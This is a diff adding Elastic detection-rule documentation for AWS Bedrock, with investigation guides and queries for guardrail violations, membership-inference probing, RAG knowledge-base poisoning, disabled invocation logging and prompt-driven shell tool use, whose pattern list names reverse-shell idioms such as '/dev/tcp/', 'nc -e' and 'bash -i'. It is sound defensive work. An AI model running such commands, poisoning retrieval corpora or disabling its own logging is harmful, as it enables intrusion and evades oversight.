b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-guardrails-detected-multiple-violations-by-a-single-user-over-a-session.asciidoc new file mode 100644 index 0000000000..5eaa671559 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-guardrails-detected-multiple-violations-by-a-single-user-over-a-session.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-guardrails-detected-multiple-violations-by-a-single-user-over-a-session]] +=== AWS Bedrock Guardrails Detected Multiple Violations by a Single User Over a Session + +Identifies multiple violations of AWS Bedrock guardrails by the same user in the same account over a session. Multiple violations implies that a user may be intentionally attempting to cirvumvent security controls, access sensitive information, or possibly exploit a vulnerability in the system. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html +* https://atlas.mitre.org/techniques/AML.T0051 +* https://atlas.mitre.org/techniques/AML.T0054 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: LLM +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Resources: Investigation Guide +* Use Case: Policy Violation +* Mitre Atlas: T0051 +* Mitre Atlas: T0054 +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: ES|QL +* Platform: AWS +* Domain: Cloud +* Domain: GenAI +* Service: AWS S3 +* Service: AWS Bedrock + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Guardrails Detected Multiple Violations by a Single User Over a Session* + + +Amazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications. + +It enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices. + +Through Guardrail, organizations can define "denied topics" to prevent the model from generating content on specific, undesired subjects, +and they can establish thresholds for harmful content categories, including hate speech, violence, or offensive language. + + +*Possible investigation steps* + + +- Identify the user account that caused multiple policy violations over a session and whether it should perform this kind of action. +- Investigate the user activity that might indicate a potential brute force attack. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's prompts and responses in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that caused multiple policy violations by a single user over session, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Filter for compliance violations detected +| where gen_ai.compliance.violation_detected + +// keep relevant ECS + model fields +| keep + user.id, + gen_ai.request.model.id, + cloud.account.id + +// count violations by user, model, and account +| stats + Esql.ml_violations_count = count(*) + by + user.id, + gen_ai.request.model.id, + cloud.account.id + +// Filter for repeated violations +| where Esql.ml_violations_count > 1 + +// sort descending by violation volume +| sort Esql.ml_violations_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-high-frequency-single-model-inference-api-probing.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-high-frequency-single-model-inference-api-probing.asciidoc new file mode 100644 index 0000000000..891fdc5786 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-high-frequency-single-model-inference-api-probing.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-high-frequency-single-model-inference-api-probing]] +=== AWS Bedrock High-Frequency Single-Model Inference API Probing + +Identifies an AWS principal performing a high volume of Amazon Bedrock inference API calls against a single model within a short window. Membership inference attacks require hundreds to thousands of statistically similar queries whose prompts and responses are intentionally content-benign, making guardrail- and content-based rules ineffective. This rule detects the high-frequency single-model probing pattern that precedes membership inference and related exfiltration via the inference API. It is a behavioral / volumetric precursor: it does not observe model confidence scores and a fixed call-count threshold only catches the loud variant, so paced, low-and-slow, or credential-distributed probing will evade it. Definitive membership inference detection requires ML anomaly analysis over per-entity inference-rate and response-distribution baselines. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://atlas.mitre.org/techniques/AML.T0024 +* https://atlas.mitre.org/techniques/AML.T0024.000 +* https://docs.aws.amazon.com/bedrock/latest/userguide/logging-using-cloudtrail.html +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: Cloud +* Domain: LLM +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Use Case: Threat Detection +* Tactic: Exfiltration +* Mitre Atlas: T0024 +* Mitre Atlas: T0024.000 +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Threat: LLMjacking +* Rule Type: ES|QL +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock High-Frequency Single-Model Inference API Probing* + + +Membership inference compares many samples against a model to infer whether specific records were present in training data. Because prompts and responses often appear benign, the actionable signal is frequently statistical: unusually high inference rates concentrated on one model from a single principal. AWS CloudTrail records the core Bedrock runtime operations (`InvokeModel`, `InvokeModelWithResponseStream`, `Converse`, `ConverseStream`) as management events, which are logged by default, so this probing phase is observable at the API layer even when Bedrock model invocation logging is disabled. CloudTrail does not capture the prompt body, so this rule is purely volumetric. + +This rule is tuned to the loud case. Treat it as corroborating signal alongside other Bedrock alerts, not as conclusive membership inference detection. + + +*Possible investigation steps* + + +- Identify the principal in `aws.cloudtrail.user_identity.arn` and the targeted model in the extracted `Esql.model_id`. +- Determine whether the call volume exceeds the principal's historical baseline for the same model. +- Review companion Bedrock invocation logs, if enabled, for short prompts, repeated inputs, or low-variance responses that may indicate membership testing. +- Inspect `Esql.source_ip_values`, `Esql.user_agent_original_values`, and recent IAM activity for signs of compromised credentials or unexpected automation. +- Correlate with bulk output-extraction or guardrail alerts that may indicate a broader inference abuse campaign. + + +*Response and remediation* + + +- Apply Bedrock service quotas and IAM least privilege for inference APIs while investigating. +- Enable model invocation logging for content-level review if not already configured. +- If abuse is confirmed, rotate access keys or disable the compromised principal. + + +==== Setup + + + +*Setup* + + +This rule requires AWS CloudTrail management events for Amazon Bedrock and ingestion via the AWS +integration (`aws.cloudtrail` data stream). The core Bedrock runtime operations are logged as management +events by default; no Bedrock model invocation logging is required. + + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-aws.cloudtrail-* +| WHERE event.provider == "bedrock.amazonaws.com" + AND event.action IN ( + "InvokeModel", + "Converse", + "ConverseStream", + "InvokeModelWithResponseStream" + ) + AND event.outcome == "success" + AND aws.cloudtrail.user_identity.arn IS NOT NULL + AND aws.cloudtrail.request_parameters IS NOT NULL +| GROK aws.cloudtrail.request_parameters """modelId=(?[^,}\]]+)""" +| WHERE Esql.model_id IS NOT NULL +| STATS + Esql.inference_call_count = COUNT(*), + Esql.timestamp_min = MIN(@timestamp), + Esql.timestamp_max = MAX(@timestamp), + Esql.event_ingested_min = MIN(event.ingested), + Esql.event_ingested_max = MAX(event.ingested), + Esql.event_action_values = VALUES(event.action), + Esql.source_ip_values = VALUES(source.ip), + Esql.source_as_organization_name_values = + VALUES(source.as.organization.name), + Esql.source_geo_country_iso_code_values = + VALUES(source.geo.country_iso_code), + Esql.source_geo_city_name_values = + VALUES(source.geo.city_name), + Esql.user_name_values = VALUES(user.name), + Esql.user_agent_original_values = VALUES(user_agent.original), + Esql.aws_cloudtrail_user_identity_type_values = + VALUES(aws.cloudtrail.user_identity.type), + Esql.aws_cloudtrail_user_identity_access_key_id_values = + VALUES(aws.cloudtrail.user_identity.access_key_id), + Esql.session_issuer_arn_values = + VALUES(aws.cloudtrail.user_identity.session_context.session_issuer.arn), + Esql.cloud_region_values = VALUES(cloud.region), + Esql.data_stream_namespace_values = VALUES(data_stream.namespace) + BY aws.cloudtrail.user_identity.arn, + cloud.account.id, + Esql.model_id +| WHERE Esql.inference_call_count >= 500 +| KEEP + aws.cloudtrail.user_identity.arn, + cloud.account.id, + Esql.* +| sort Esql.inference_call_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-high-risk-filesystem-or-execution-tool-invocation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-high-risk-filesystem-or-execution-tool-invocation.asciidoc new file mode 100644 index 0000000000..edcb287a27 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-high-risk-filesystem-or-execution-tool-invocation.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-high-risk-filesystem-or-execution-tool-invocation]] +=== AWS Bedrock High Risk Filesystem or Execution Tool Invocation + +Detects when a Bedrock model is prompted to invoke high-risk tools associated with shell execution, filesystem operations, or process spawning. Adversaries may use compromised AI agent pipelines or manipulated prompts to instruct the model to execute arbitrary system commands, read or write sensitive files, or spawn subprocesses — extending the blast radius of a credential compromise or prompt injection attack. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/agents-action-groups.html +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails.html +* https://owasp.org/www-project-top-10-for-large-language-model-applications/ + +*Tags*: + +* Domain: Cloud +* Domain: LLM +* Data Source: AWS Bedrock +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: ES|QL +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock High Risk Filesystem or Execution Tool Invocation* + + +This rule detects Bedrock model invocations where the prompt contains patterns associated with shell execution, filesystem access, or process spawning. These patterns may indicate a prompt injection attack, a compromised AI agent pipeline, or an insider attempting to use a Bedrock-backed application to execute unauthorized system operations. + + +*Possible investigation steps* + + +- Review `gen_ai.prompt` to identify the specific tool invocation pattern that triggered the rule and determine whether it represents a legitimate tool call or a malicious instruction. +- Identify the user (`user.id`) and determine whether they are expected to interact with tools that perform filesystem or shell operations. +- Review the model ID (`gen_ai.request.model.id`) and the application context to understand whether shell or filesystem tools are part of the intended agent architecture. +- Correlate with other Bedrock invocation events from the same user in the preceding hour to assess whether this is an isolated event or part of a pattern. +- If the application uses Bedrock Agents, review the agent's configured action groups and Lambda functions to determine whether the tool invocation could have resulted in actual execution. +- Check for downstream evidence of execution: CloudTrail Lambda invocation events, SSM RunCommand, or EC2 activity correlated with the same time window. + + +*False positive analysis* + + +- AI coding assistants and developer tools built on Bedrock may legitimately reference shell commands or file operations in their prompt templates. +- Security tooling that uses Bedrock to analyze shell scripts or code may produce prompts containing these patterns. + + +*Response and remediation* + + +- If a prompt injection is confirmed, identify the injection source and remediate the input validation gap in the application layer. +- Review and restrict the tools available to the Bedrock Agent to the minimum required for its function. +- Apply Bedrock Guardrails to block or flag prompts containing high-risk tool invocation patterns. +- If credentials were compromised, rotate them immediately and audit all Bedrock and downstream API activity. + + +==== Setup + + +The AWS Bedrock integration must be enabled with model invocation logging configured to capture prompt +and completion content. Ensure `logs-aws_bedrock.invocation-*` is ingested into Elasticsearch. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* metadata _id, _version, _index + +| eval Esql.lowercase_prompt = TO_LOWER(gen_ai.prompt) + +| where + Esql.lowercase_prompt like "*/bin/sh*" or + Esql.lowercase_prompt like "*/bin/bash*" or + Esql.lowercase_prompt like "*sh -c*" or + Esql.lowercase_prompt like "*cmd.exe*" or + Esql.lowercase_prompt like "*powershell*" or + Esql.lowercase_prompt like "*exec(*" or + Esql.lowercase_prompt like "*os.system*" or + Esql.lowercase_prompt like "*subprocess*" or + Esql.lowercase_prompt like "*python -c*" or + Esql.lowercase_prompt like "*python3 -c*" or + Esql.lowercase_prompt like "*curl *" or + Esql.lowercase_prompt like "*wget *" or + Esql.lowercase_prompt like "*/dev/tcp/*" or + Esql.lowercase_prompt like "*nc -e*" or + Esql.lowercase_prompt like "*ncat *" or + Esql.lowercase_prompt like "*socat *" or + Esql.lowercase_prompt like "*openssl s_client*" or + Esql.lowercase_prompt like "*perl -e*" or + Esql.lowercase_prompt like "*ruby -e*" or + Esql.lowercase_prompt like "*php -r*" or + Esql.lowercase_prompt like "*node -e*" or + Esql.lowercase_prompt like "*base64 -d*" or + Esql.lowercase_prompt like "*bash -i*" + +| keep _id, _version, _index, @timestamp, user.id, cloud.account.id, gen_ai.request.model.id, gen_ai.prompt, gen_ai.completion + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-invocations-without-guardrails-detected-by-a-single-user-over-a-session.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-invocations-without-guardrails-detected-by-a-single-user-over-a-session.asciidoc new file mode 100644 index 0000000000..b7ee918ec2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-invocations-without-guardrails-detected-by-a-single-user-over-a-session.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-invocations-without-guardrails-detected-by-a-single-user-over-a-session]] +=== AWS Bedrock Invocations without Guardrails Detected by a Single User Over a Session + +Identifies multiple AWS Bedrock executions in a one minute time window without guardrails by the same user in the same account over a session. Multiple consecutive executions implies that a user may be intentionally attempting to bypass security controls, by not routing the requests with the desired guardrail configuration in order to access sensitive information, or possibly exploit a vulnerability in the system. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html +* https://atlas.mitre.org/techniques/AML.T0051 +* https://atlas.mitre.org/techniques/AML.T0054 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: LLM +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Resources: Investigation Guide +* Use Case: Policy Violation +* Mitre Atlas: T0051 +* Mitre Atlas: T0054 +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: ES|QL +* Platform: AWS +* Domain: Cloud +* Domain: GenAI +* Service: AWS S3 +* Service: AWS Bedrock + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Invocations without Guardrails Detected by a Single User Over a Session* + + +Using Amazon Bedrock Guardrails during model invocation is critical for ensuring the safe, reliable, and ethical use of AI models. +Guardrails help manage risks associated with AI usage and ensure the output aligns with desired policies and standards. + + +*Possible investigation steps* + + +- Identify the user account that caused multiple model violations over a session without desired guardrail configuration and whether it should perform this kind of action. +- Investigate the user activity that might indicate a potential brute force attack. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's prompts and responses in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that caused multiple policy violations by a single user over session, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Create 1-minute time buckets +| eval Esql.time_window_date_trunc = date_trunc(1 minute, @timestamp) + +// Filter for invocations without guardrails +| where gen_ai.guardrail_id is null and user.id is not null + +// keep only relevant fields +| keep + @timestamp, + Esql.time_window_date_trunc, + gen_ai.guardrail_id, + user.id + +// count number of unsafe invocations per user +| stats + Esql.ml_invocations_no_guardrails_count = count() + by user.id + +// Filter for suspicious volume +| where Esql.ml_invocations_no_guardrails_count > 5 + +// sort descending +| sort Esql.ml_invocations_no_guardrails_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-knowledge-base-or-rag-data-source-tampering.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-knowledge-base-or-rag-data-source-tampering.asciidoc new file mode 100644 index 0000000000..75134af44d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-knowledge-base-or-rag-data-source-tampering.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-knowledge-base-or-rag-data-source-tampering]] +=== AWS Bedrock Knowledge Base or RAG Data Source Tampering + +Detects control-plane mutations to AWS Bedrock knowledge bases and their backing RAG data sources via CloudTrail. An adversary with access to Bedrock Agent APIs can poison the corpus that RAG-enabled models treat as authoritative by ingesting attacker-controlled documents (IngestKnowledgeBaseDocuments, StartIngestionJob), deleting legitimate documents (DeleteKnowledgeBaseDocuments), or repointing/altering the data source itself (CreateDataSource, UpdateDataSource, DeleteDataSource, UpdateKnowledgeBase). Because downstream applications and users trust model answers grounded in this stored data, tampering with the corpus is a stored data manipulation that can drive misinformation, fraud, or manipulated decisions at inference time. This is a New Terms rule that looks for the first time a given identity ARN performs one of these knowledge base or data source mutations within the history window. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_Operations_Agents_for_Amazon_Bedrock.html + +*Tags*: + +* Domain: Cloud +* Domain: LLM +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Impact +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: New Terms +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Knowledge Base or RAG Data Source Tampering* + + +AWS Bedrock knowledge bases provide Retrieval-Augmented Generation (RAG) by grounding model responses in a stored +corpus that is synchronized from a configured data source. Because RAG-enabled applications present these grounded +answers as authoritative, an adversary who can ingest, delete, or repoint the underlying corpus can poison the answers +returned to downstream users and systems. This rule detects control-plane changes to knowledge bases and data sources +that could enable such corpus poisoning. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and + `aws.cloudtrail.user_identity.access_key_id`. + - Examine `source.ip`, `user_agent.original`, and `aws.cloudtrail.user_identity.invoked_by` to determine whether the + change came from an approved operator, automation, or an unexpected origin. + - Confirm a related change request exists (content update, data source migration, scheduled ingestion). +- **Validate the specific action** + - Inspect `event.action` and `aws.cloudtrail.flattened.request_parameters` to identify the knowledge base, data + source, and any S3 bucket / ingestion configuration referenced. + - For `CreateDataSource` / `UpdateDataSource`, verify the data source location (e.g., S3 bucket) is org-owned and not + attacker-controlled. + - For `IngestKnowledgeBaseDocuments` / `StartIngestionJob`, review what content was ingested and from where. + - For `DeleteKnowledgeBaseDocuments` / `DeleteDataSource`, determine whether legitimate content was removed. +- **Correlate activity** + - Look for prior enumeration of Bedrock resources or anomalous IAM/STS activity from the same identity. + - Review `cloud.account.id` and `cloud.region` to confirm the change occurred where expected. + + +*False positive analysis* + + +- **Planned content maintenance**: Routine ingestion, document updates, and re-syncs by data teams or MLOps automation + are expected. Validate against change tickets and known automation roles. +- **Infrastructure-as-code**: Pipelines may create or update data sources during deployments. Confirm the source IP and + ARN match expected automation. + + +*Response and remediation* + + +- If unauthorized, suspend or disable the implicated knowledge base and data source to prevent further poisoned + retrieval, and revert the corpus to a known-good state. +- Disable or rotate the credentials identified in `aws.cloudtrail.user_identity.access_key_id` if compromise is + suspected. +- Audit recent ingestion jobs and document changes, and validate the integrity of the data source location. +- Restrict Bedrock Agent knowledge base and data source mutation permissions to a small set of trusted roles. + + +==== Setup + + + +*Setup* + + +This rule requires the AWS CloudTrail integration. The data source and knowledge base configuration actions are management +events (captured by default), but the direct document operations (`IngestKnowledgeBaseDocuments`, `DeleteKnowledgeBaseDocuments`) +are Bedrock CloudTrail **data events** that are off by default. Without Bedrock data-event logging enabled on the trail, this rule +provides only **partial coverage** — it will see config changes but not direct document ingestion/deletion, the primary poisoning +vector. Enable Bedrock data-event logging for full coverage. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and + event.provider: "bedrock.amazonaws.com" and + event.action: ( + "IngestKnowledgeBaseDocuments" or + "DeleteKnowledgeBaseDocuments" or + "UpdateKnowledgeBase" or + "CreateDataSource" or + "UpdateDataSource" or + "DeleteDataSource" or + "StartIngestionJob" or + "DeleteKnowledgeBase" + ) and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-model-invocation-logging-disabled-or-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-model-invocation-logging-disabled-or-modified.asciidoc new file mode 100644 index 0000000000..525e892558 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-model-invocation-logging-disabled-or-modified.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-model-invocation-logging-disabled-or-modified]] +=== AWS Bedrock Model Invocation Logging Disabled or Modified + +Detects when an AWS Bedrock model invocation logging configuration is deleted or overwritten via the DeleteModelInvocationLoggingConfiguration or PutModelInvocationLoggingConfiguration API calls. Model invocation logging is the source that feeds the logs-aws_bedrock.invocation-* dataset relied upon by all data-plane Bedrock detections. An adversary who has gained access to a Bedrock environment can blind defenders by deleting this configuration, or by using the Put API to redirect logs to an attacker-controlled or non-monitored S3 bucket or CloudWatch log group. Because this single control-plane action can neutralize the entire data-plane detection stack, it is a high-value evasion technique that should be validated against expected administrative change activity. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_DeleteModelInvocationLoggingConfiguration.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_PutModelInvocationLoggingConfiguration.html +* https://docs.aws.amazon.com/bedrock/latest/userguide/model-invocation-logging.html + +*Tags*: + +* Domain: Cloud +* Domain: LLM +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Log Auditing +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Defense Evasion +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Model Invocation Logging Disabled or Modified* + + +AWS Bedrock model invocation logging captures the prompts and responses processed by foundation models and delivers them +to an S3 bucket or CloudWatch log group. This data feeds the `logs-aws_bedrock.invocation-*` dataset that all data-plane +Bedrock detections depend on. Deleting the configuration stops this telemetry entirely, while overwriting it with `Put` +can silently redirect logs to a destination the defender does not monitor. Either action effectively blinds the +data-plane detection stack, making this a high-priority defense-evasion event. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, `aws.cloudtrail.user_identity.access_key_id`, `user_agent.original`, and `source.ip`. + - Determine whether the identity is an approved Bedrock administrator and whether a change request exists. +- **Determine the exact action** + - For `DeleteModelInvocationLoggingConfiguration`, logging is being turned off entirely — confirm this is intentional. + - For `PutModelInvocationLoggingConfiguration`, inspect `aws.cloudtrail.flattened.request_parameters` for the new + `s3Config` bucket name / key prefix and `cloudWatchConfig` log group, and verify they are owned and monitored by your org. +- **Correlate surrounding activity** + - Pivot on the same identity, `source.ip`, and `cloud.account.id` for prior enumeration + (`GetModelInvocationLoggingConfiguration`) or follow-on Bedrock data-plane activity (model invocations) that would now + be unlogged. + - Check for parallel logging-tampering against CloudTrail, Config, or GuardDuty. + + +*False positive analysis* + + +- **Planned changes**: Logging migrations or compliance updates may legitimately reconfigure or remove the + configuration. Validate against change tickets and infrastructure-as-code pipelines. + + +*Response and remediation* + + +- If unauthorized, restore model invocation logging to the approved destination and verify log delivery resumes into + `logs-aws_bedrock.invocation-*`. +- Review and secure any attacker-specified S3 bucket or CloudWatch log group, and treat data sent there as exposed. +- Audit the actor's recent Bedrock and IAM activity and rotate credentials if compromise is suspected. +- Restrict `bedrock:DeleteModelInvocationLoggingConfiguration` and `bedrock:PutModelInvocationLoggingConfiguration` to a + small set of administrative roles and alert on changes. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and + event.provider: "bedrock.amazonaws.com" and + event.action: ("DeleteModelInvocationLoggingConfiguration" or "PutModelInvocationLoggingConfiguration") and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: 